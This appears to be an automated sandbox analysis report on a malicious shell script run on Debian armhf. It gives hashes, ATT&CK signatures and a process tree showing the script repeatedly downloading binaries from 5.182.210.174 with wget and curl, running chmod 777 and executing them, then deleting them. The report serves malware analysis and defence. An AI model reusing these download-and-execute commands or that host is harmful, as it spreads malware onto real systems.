6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3

Analysis

max time kernel
7s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
25/08/2026, 06:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh
Size 1KB
Sample260825-g97hdser4v
SHA256 6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3
MD5 ff551441a941936ae451c5a41e907ac1
SHA1 6f29d406796c7a505f5cef47ce3d1e94fb1baf14
SHA512 93ee9096652d886224ecebd48facc36e5136715fd7b54e0cbce145f8b9744427b9f5922bc059285deeb5eddc4e4822cca002aca1172268363941767ac80aaf39
TLSH
T12731609F48101A751003DA9EB7B73148B68DE1EB3D9FD7E49C580DA9C28C6CCF261B49
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
701	chmod
754	chmod
761	chmod
783	chmod
805	chmod
819	chmod
826	chmod
681	chmod
688	chmod
729	chmod
812	chmod
833	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/e59c64	682	6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh
/tmp/3fa070	689	6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh
/tmp/85a1e1	702	6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh
/tmp/2198fb	731	6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh
/tmp/c2eacc	755	6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh
/tmp/7d82c6	762	6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh
/tmp/1bc652	785	6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh
/tmp/0644a9	806	6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh
/tmp/58233b	813	6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh
/tmp/46b7f5	820	6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh
/tmp/f8c2e7	827	6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh
/tmp/c04eaf	834	6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/f8c2e7	curl
File opened for modification	/tmp/c04eaf	curl
File opened for modification	/tmp/3fa070	curl
File opened for modification	/tmp/85a1e1	curl
File opened for modification	/tmp/2198fb	curl
File opened for modification	/tmp/c2eacc	curl
File opened for modification	/tmp/7d82c6	curl
File opened for modification	/tmp/1bc652	curl
File opened for modification	/tmp/e59c64	curl
File opened for modification	/tmp/0644a9	curl
File opened for modification	/tmp/58233b	curl
File opened for modification	/tmp/46b7f5	curl

/tmp/6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh
/tmp/6c474746c68aa2107a82386f1f8382a9ac7c1f774e573ae95cd36dba633797b3.sh
1⤵
- Executes dropped EXE
PID:651
- /usr/bin/wget
  wget http://5.182.210.174/e59c64
  2⤵
  PID:656
- /usr/bin/curl
  curl -O http://5.182.210.174/e59c64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:673
- /bin/chmod
  chmod 777 e59c64
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/e59c64
  ./e59c64 bc
  2⤵
  PID:682
- /bin/rm
  rm -rf e59c64
  2⤵
  PID:684
- /bin/rm
  rm -rf e59c64.1
  2⤵
  PID:685
- /usr/bin/wget
  wget http://5.182.210.174/3fa070
  2⤵
  PID:686
- /usr/bin/curl
  curl -O http://5.182.210.174/3fa070
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:687
- /bin/chmod
  chmod 777 3fa070
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/3fa070
  ./3fa070 bc
  2⤵
  PID:689
- /bin/rm
  rm -rf 3fa070
  2⤵
  PID:691
- /bin/rm
  rm -rf 3fa070.1
  2⤵
  PID:692
- /usr/bin/wget
  wget http://5.182.210.174/85a1e1
  2⤵
  PID:693
- /usr/bin/curl
  curl -O http://5.182.210.174/85a1e1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:694
- /bin/chmod
  chmod 777 85a1e1
  2⤵
  - File and Directory Permissions Modification
  PID:701
- /tmp/85a1e1
  ./85a1e1 bc
  2⤵
  PID:702
- /bin/rm
  rm -rf 85a1e1
  2⤵
  PID:705
- /bin/rm
  rm -rf 85a1e1.1
  2⤵
  PID:707
- /usr/bin/wget
  wget http://5.182.210.174/2198fb
  2⤵
  PID:708
- /usr/bin/curl
  curl -O http://5.182.210.174/2198fb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:717
- /bin/chmod
  chmod 777 2198fb
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/2198fb
  ./2198fb bc
  2⤵
  PID:731
- /bin/rm
  rm -rf 2198fb
  2⤵
  PID:733
- /bin/rm
  rm -rf 2198fb.1
  2⤵
  PID:735
- /usr/bin/wget
  wget http://5.182.210.174/c2eacc
  2⤵
  PID:739
- /usr/bin/curl
  curl -O http://5.182.210.174/c2eacc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/chmod
  chmod 777 c2eacc
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/c2eacc
  ./c2eacc bc
  2⤵
  PID:755
- /bin/rm
  rm -rf c2eacc
  2⤵
  PID:757
- /bin/rm
  rm -rf c2eacc.1
  2⤵
  PID:758
- /usr/bin/wget
  wget http://5.182.210.174/7d82c6
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://5.182.210.174/7d82c6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:760
- /bin/chmod
  chmod 777 7d82c6
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/7d82c6
  ./7d82c6 bc
  2⤵
  PID:762
- /bin/rm
  rm -rf 7d82c6
  2⤵
  PID:764
- /bin/rm
  rm -rf 7d82c6.1
  2⤵
  PID:765
- /usr/bin/wget
  wget http://5.182.210.174/1bc652
  2⤵
  PID:766
- /usr/bin/curl
  curl -O http://5.182.210.174/1bc652
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod 777 1bc652
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/1bc652
  ./1bc652 bc
  2⤵
  PID:785
- /bin/rm
  rm -rf 1bc652
  2⤵
  PID:787
- /bin/rm
  rm -rf 1bc652.1
  2⤵
  PID:789
- /usr/bin/wget
  wget http://5.182.210.174/0644a9
  2⤵
  PID:791
- /usr/bin/curl
  curl -O http://5.182.210.174/0644a9
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/chmod
  chmod 777 0644a9
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/0644a9
  ./0644a9 bc
  2⤵
  PID:806
- /bin/rm
  rm -rf 0644a9
  2⤵
  PID:808
- /bin/rm
  rm -rf 0644a9.1
  2⤵
  PID:809
- /usr/bin/wget
  wget http://5.182.210.174/58233b
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://5.182.210.174/58233b
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod 777 58233b
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/58233b
  ./58233b bc
  2⤵
  PID:813
- /bin/rm
  rm -rf 58233b
  2⤵
  PID:815
- /bin/rm
  rm -rf 58233b.1
  2⤵
  PID:816
- /usr/bin/wget
  wget http://5.182.210.174/46b7f5
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://5.182.210.174/46b7f5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod 777 46b7f5
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/46b7f5
  ./46b7f5 bc
  2⤵
  PID:820
- /bin/rm
  rm -rf 46b7f5
  2⤵
  PID:822
- /bin/rm
  rm -rf 46b7f5.1
  2⤵
  PID:823
- /usr/bin/wget
  wget http://5.182.210.174/f8c2e7
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://5.182.210.174/f8c2e7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod 777 f8c2e7
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/f8c2e7
  ./f8c2e7 bc
  2⤵
  PID:827
- /bin/rm
  rm -rf f8c2e7
  2⤵
  PID:829
- /bin/rm
  rm -rf f8c2e7.1
  2⤵
  PID:830
- /usr/bin/wget
  wget http://5.182.210.174/c04eaf
  2⤵
  PID:831
- /usr/bin/curl
  curl -O http://5.182.210.174/c04eaf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:832
- /bin/chmod
  chmod 777 c04eaf
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/c04eaf
  ./c04eaf bc
  2⤵
  PID:834
- /bin/rm
  rm -rf c04eaf
  2⤵
  PID:836
- /bin/rm
  rm -rf c04eaf.1
  2⤵
  PID:837

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e59c64

Path /tmp/e59c64
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads